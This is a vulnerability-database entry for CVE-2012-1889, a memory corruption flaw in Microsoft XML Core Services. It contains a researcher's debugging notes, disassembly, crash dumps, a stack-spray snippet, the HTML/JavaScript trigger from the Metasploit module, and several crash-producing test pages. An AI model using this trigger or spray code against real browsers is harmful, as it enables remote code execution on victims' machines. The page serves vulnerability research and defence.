Attacker Value

Unknown

CVE-2012-1889 - MS12-043 Microsoft XML Core Services MSXML Uninitialized Memory Corruption

Description

Microsoft XML Core Services 3.0, 4.0, 5.0, and 6.0 accesses uninitialized memory locations, which allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site.

Add Assessment

wchen-r7 (173)

September 12, 2019 6:07pm UTC (5 years ago)•Edited 4 years ago

Technical Analysis

This is known as a “state-sponsored ” 0-day to attack certain Gmail users. It has been committed as msxml_get_definition_code_exec.rb in the Metasploit Framework. However, the current version only targets IE6/7 on Windows XP, because the uninitialized memory is on the heap on those targets. On Win Vista + IE 7 and Win XP + IE8, however, it is on the
stack.

Debugging Notes

Crash:

0:008> r
eax=020bf2f0 ebx=00000000 ecx=00000000 edx=00000001 esi=020bf2f0 edi=020bf528
eip=749bd772 esp=020bf1a8 ebp=020bf2e4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
msxml3!_dispatchImpl::InvokeHelper+0xb4:
749bd772 ff5118          call    dword ptr [ecx+18h]  ds:0023:00000018=????????

0:008> k
ChildEBP RetAddr
020bf2e4 749bdb13 msxml3!_dispatchImpl::InvokeHelper+0xb4
020bf320 749d4d84 msxml3!_dispatchImpl::Invoke+0x5e
020bf360 749dcae4 msxml3!DOMNode::Invoke+0xaa
020bf394 749bd5aa msxml3!DOMDocumentWrapper::Invoke+0x50
020bf3f0 749d6e6c msxml3!_dispatchImpl::InvokeEx+0xfa
020bf420 633a6d37 msxml3!_dispatchEx<IXMLDOMNode,&LIBID_MSXML2,&IID_IXMLDOMNode,0>::InvokeEx+0x2d
020bf460 633a6c75 jscript!IDispatchExInvokeEx2+0xf8
020bf49c 633a9cfe jscript!IDispatchExInvokeEx+0x6a
020bf55c 633a9f3c jscript!InvokeDispatchEx+0x98
020bf590 633a77ff jscript!VAR::InvokeByName+0x135
020bf5dc 633a85c7 jscript!VAR::InvokeDispName+0x7a
020bf60c 633a9c0b jscript!VAR::InvokeByDispID+0xce
020bf7a8 633a5ab0 jscript!CScriptRuntime::Run+0x2989
020bf890 633a59f7 jscript!ScrFncObj::CallWithFrameOnStack+0xff
020bf8dc 633a5743 jscript!ScrFncObj::Call+0x8f
020bf958 633891f1 jscript!CSession::Execute+0x175
020bf9a4 63388f65 jscript!COleScript::ExecutePendingScripts+0x1c0
020bfa08 63388d7f jscript!COleScript::ParseScriptTextCore+0x29a
020bfa30 635bf025 jscript!COleScript::ParseScriptText+0x30
020bfa88 635be7ca mshtml!CScriptCollection::ParseScriptText+0x219

The crash occurs in dispatchImpl::InvokeHelper(), where:

.text:749BD751 mov     eax, dword ptr [ebp+pvarg.anonymous_0+8]  ;pvarg.anonymous_0+8 = pvarg.lVal
.text:749BD754 cmp     eax, ebx                       ; This checks if eax is null, but doesn't check if [eax] is null
.text:749BD756 mov     esi, eax
.text:749BD758 jz      short loc_749BD780
.text:749BD75A push    [ebp+arg_20]
.text:749BD75D mov     ecx, [eax]                     ; Null pointer dereference, because we didn't check [eax]
.text:749BD75F push    [ebp+arg_1C]
.text:749BD762 push    [ebp+arg_18]
.text:749BD765 push    edi
.text:749BD766 push    3
.text:749BD768 push    [ebp+arg_C]
.text:749BD76B push    offset _GUID_NULL
.text:749BD770 push    ebx
.text:749BD771 push    eax
.text:749BD772 call    dword ptr [ecx+18h]             ; Crash

Heap vs Stack:

Some setups allocate the data on the heap, or a simple heap spray will just do the trick.
But some setups allocate it on the stack, which is a little trick. We found the following solution
from baidu to put data on the stack:

var src = unescape("%u1111%u1111");
while (src.length < 0x1002) src += src;
src = "\\\\xxx" + src;
src = src.substr(0, 0x1000 - 10);
var pic = document.createElement("img");
pic.src = src;
pic.nameProp;

So in the end, this is how we trigger the bug:

<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id="#{object_id}"></object>
<script>
var obj = document.getElementById('#{object_id}').object;
var src = unescape("%u0c08%u0c0c");
while (src.length < 0x1002) src += src;
src = "\\\\\\\\xxx" + src;
src = src.substr(0, 0x1000 - 10);
var pic = document.createElement("img");
pic.src = src;
pic.nameProp;
obj.definition(#{rand(999) + 1});
</script>

Final version of the exploit:
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb

Analysis

Vupen published a nice blog post about advanced exploitation with this bug here:

http://www.vupen.com/blog/20120717.Advanced_Exploitation_of_Internet_Explorer_XML_CVE-2012-1889_MS12-043.php

Unfortunately, the presented exploitation techniques can not be used if we can not control the
uninitialized data in the stack:

.text:727457A0                 lea     eax, [ebp+vtDisp]
.text:727457A3                 push    eax             ; pvarg
.text:727457A4                 call    ds:__imp__VariantInit@4 ; VariantInit(x)
.text:727457AA                 push    ebx
.text:727457AB                 lea     eax, [ebp+vtDisp]
.text:727457AE                 push    eax
.text:727457AF                 push    2
.text:727457B1                 push    ebx
.text:727457B2                 push    [ebp+dispid]
.text:727457B5                 push    [ebp+pTarget]
.text:727457B8                 call    dword ptr [esi+20h] ; DOMNode::_invokeDOMNode
.text:727457BB                 cmp     eax, ebx
.text:727457BD                 jl      loc_72740BB6

As VUPEN explained in their blog post, DOMNode::_invokeDOMNode should init the memory location at ebp+vtDisp,
but it’s not always true, so controlling ebp+vtDisp allow to reach:

.text:727457C3                 mov     eax, dword ptr [ebp+vtDisp.___u0+8] ; Danger: it isn't ebp+vtDisp, but ebp+vtDisp+8
.text:727457C6                 mov     esi, eax
.text:727457C8                 cmp     eax, ebx
.text:727457CA                 jz      short loc_727457F5
.text:727457CC                 push    [ebp+puArgErr]
.text:727457CF                 mov     ecx, [eax]      ; crash
.text:727457D1                 push    [ebp+pExcepInfo]
.text:727457D4                 push    [ebp+pVarResult]
.text:727457D7                 push    edi
.text:727457D8                 push    3
.text:727457DA                 push    [ebp+lcid]
.text:727457DD                 push    offset _GUID_NULL
.text:727457E2                 push    ebx
.text:727457E3                 push    eax
.text:727457E4                 call    dword ptr [ecx+18h]
.text:727457E7                 mov     [ebp+hr], eax
.text:727457EA                 mov     eax, [esi]
.text:727457EC                 push    esi
.text:727457ED                 call    dword ptr [eax+8]

Where the memory in the stack can be used to do interesting thing. The problem is how to put interesting objects
in the stack, since the pic.nameProp; method doesn’t look usefull at all. There is a lack of documentation in the
VUPEN blog post about how to make it happen, since it assumes you can control the memory in the stack, and just
explores the exploitation possibilities.

There is a clue? in the VUPEN blog:

“The vulnerable variable can be assigned according to the way xmlDoc.definition is called. There are many ways to
put a particular pointer in the vulnerable variable. We can use for example introspection on an object and call
xmlDoc.definition on each of its attributes to list the available objects”

Honestly, here is where VUPEN impresses me, because atm I don’t spot how to put a “partirular pointer in the
vulnerable variable”. Even when playing with introspection seems to allow some results:

<html>
<body onload="f()">

 <div id="div">
 <object id="obj" style="display:none"></object>
 </div>

 <pre id="results">

 </pre>

 <script>
 function f() {
    var test = new ActiveXObject("Msxml2.DOMDocument.6.0");
    var results = document.getElementById("results");

    results.innerHTML += "obj attributes: </br>";

    var count = 0
    for (var v in obj) {
        results.innerHTML += v;
        results.innerHTML += "<br />";
        if (count == 0)
            test.definition(v)
        count++;
    }
    alert(count)

    var o = obj.cloneNode()
    div.appendChild(o)

    results.innerHTML += "After append, new obj attributes <br />"

    count = 0
    for (var v in obj) {
        results.innerHTML += v;
        results.innerHTML += "<br />";
        count++
    }
    alert(count)

  }
 </script>

</body>
</html>

Makes the next crash:

0:004> r
eax=605aa838 ebx=00000000 ecx=5d5b5e5f edx=00000001 esi=605aa838 edi=021fa2a8
eip=703457e4 esp=021f9f2c ebp=021fa068 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
msxml6!_dispatchImpl::InvokeHelper+0xb3:
703457e4 ff5118          call    dword ptr [ecx+18h]  ds:0023:5d5b5e77=????????
0:004> dd eax
605aa838  5d5b5e5f 890008c2 ffff5c8d ea38e9ff
605aa848  c88bffff 8306e9c1 840f01e1 0015ef37
605aa858  5421d233 c9851024 ef32840f 8c8b0015
605aa868  00008c24 83fa2b00 048d03e1 fffffcbd
605aa878  89c10bff 008c2484 e8c10000 24448902
605aa888  247c831c 840f0010 fffff7f0 15ef26e9
605aa898  0f178b00 c10852b6 82f704e2 6066392c
605aa8a8  00004000 9ae5850f ef830017 0ff83b04
0:004> u eax
mshtml!CElement::put_innerHTML+0x75:
605aa838 5f              pop     edi
605aa839 5e              pop     esi
605aa83a 5b              pop     ebx
605aa83b 5d              pop     ebp
605aa83c c20800          ret     8
605aa83f 898d5cffffff    mov     dword ptr [ebp-0A4h],ecx
605aa845 e938eaffff      jmp     mshtml!CSpliceTreeEngine::RemoveSplice+0x7ec (605a9282)
605aa84a 8bc8            mov     ecx,eax

Second try, just follow the VUPEN’s instructions:

<html>
<body onload="f()">

 <div id="div">
 <object id="obj" style="display:none"></object>
 </div>

 <pre id="results">

 </pre>

 <script>
 function f() {
    var test = new ActiveXObject("Msxml2.DOMDocument.6.0");

    var count = 0
    for (var v in obj) {
        if (count == 0)
            test.definition(v)
        count++;
    }
    alert(count)

    var o = obj.cloneNode()
    div.appendChild(o)

    count = 0
    for (var v in obj) {
        v;
    }

  }
 </script>

</body>
</html>

Generates an ugly crash, which doesn’t look profitable at all :

(d14.df0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=703701f2 edx=00000001 esi=00000001 edi=0227a2c8
eip=703457cf esp=02279f6c ebp=0227a088 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
msxml6!_dispatchImpl::InvokeHelper+0x9e:
703457cf 8b08            mov     ecx,dword ptr [eax]  ds:0023:00000001=????????

Another try, trying to get definition, at the end of instrospection:

<html>
<body onload="f()">

 <div id="div">
 <object id="obj" style="display:none"></object>
 </div>

 <pre id="results">

 </pre>

 <script>
 function f() {
    var test = new ActiveXObject("Msxml2.DOMDocument.6.0");

    var count = 0
    for (var v in obj) {
        if (count == 175)
            test.definition(v)
        count++;
    }
    alert(count)

    var o = obj.cloneNode()
    div.appendChild(o)

    count = 0
    for (var v in obj) {
        v;
    }

  }
 </script>

</body>
</html>

Same crash:

0:005> g
(1ac.bb0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=703701f2 edx=00000001 esi=00000001 edi=022f9e50
eip=703457cf esp=022f9af4 ebp=022f9c10 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
msxml6!_dispatchImpl::InvokeHelper+0x9e:
703457cf 8b08            mov     ecx,dword ptr [eax]  ds:0023:00000001=????????

Maybe with fuzzing :? time to grinder…

CVSS V3 Severity and Metrics

Data provided by the National Vulnerability Database (NVD)

Base Score:

8.8 High

Impact Score:

5.9

Exploitability Score:

2.8

Vector:

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Attack Vector (AV):

Network

Attack Complexity (AC):

Low

Privileges Required (PR):

None

User Interaction (UI):

Required

Scope (S):

Unchanged

Confidentiality (C):

High

Integrity (I):

High

Availability (A):

High

Vendors

microsoft

Products

xml core services 3.0,
xml core services 4.0,
xml core services 5.0,
xml core services 6.0

Metasploit Modules

exploit/windows/browser/msxml_get_definition_code_exec (https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb)

Exploited in the Wild

Reported by:

gwillcox-r7 indicated source as Government or Industry Alert (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)

Reported: June 08, 2022 6:45pm UTC (2 years ago)

References

Rapid7

Unknown

CVE-2012-1889 - MS12-043 Microsoft XML Core Services MSXML Uninitialized Memory Corruption

Unknown

Unknown

Required

None

Network

CVE-2012-1889 - MS12-043 Microsoft XML Core Services MSXML Uninitialized Memory Corruption

Description

Add Assessment

Technical Analysis

Debugging Notes

Analysis

CVSS V3 Severity and Metrics

General Information

Vendors

Products

Metasploit Modules

Exploited in the Wild

References

Canonical

Advisory

Miscellaneous

Additional Info

Technical Analysis

Unknown

CVE-2012-1889 - MS12-043 Microsoft XML Core Services MSXML Uninitialized Memory Corruption

Unknown

Unknown

Required

None

Network

CVE-2012-1889 - MS12-043 Microsoft XML Core Services MSXML Uninitialized Memory Corruption

Description

Add Assessment

Technical Analysis

Debugging Notes

Analysis

CVSS V3 Severity and Metrics

General Information

Vendors

Products

Metasploit Modules

Exploited in the Wild

References

Canonical

Advisory

Miscellaneous

Additional Info

Technical Analysis

Quick Cookie Notification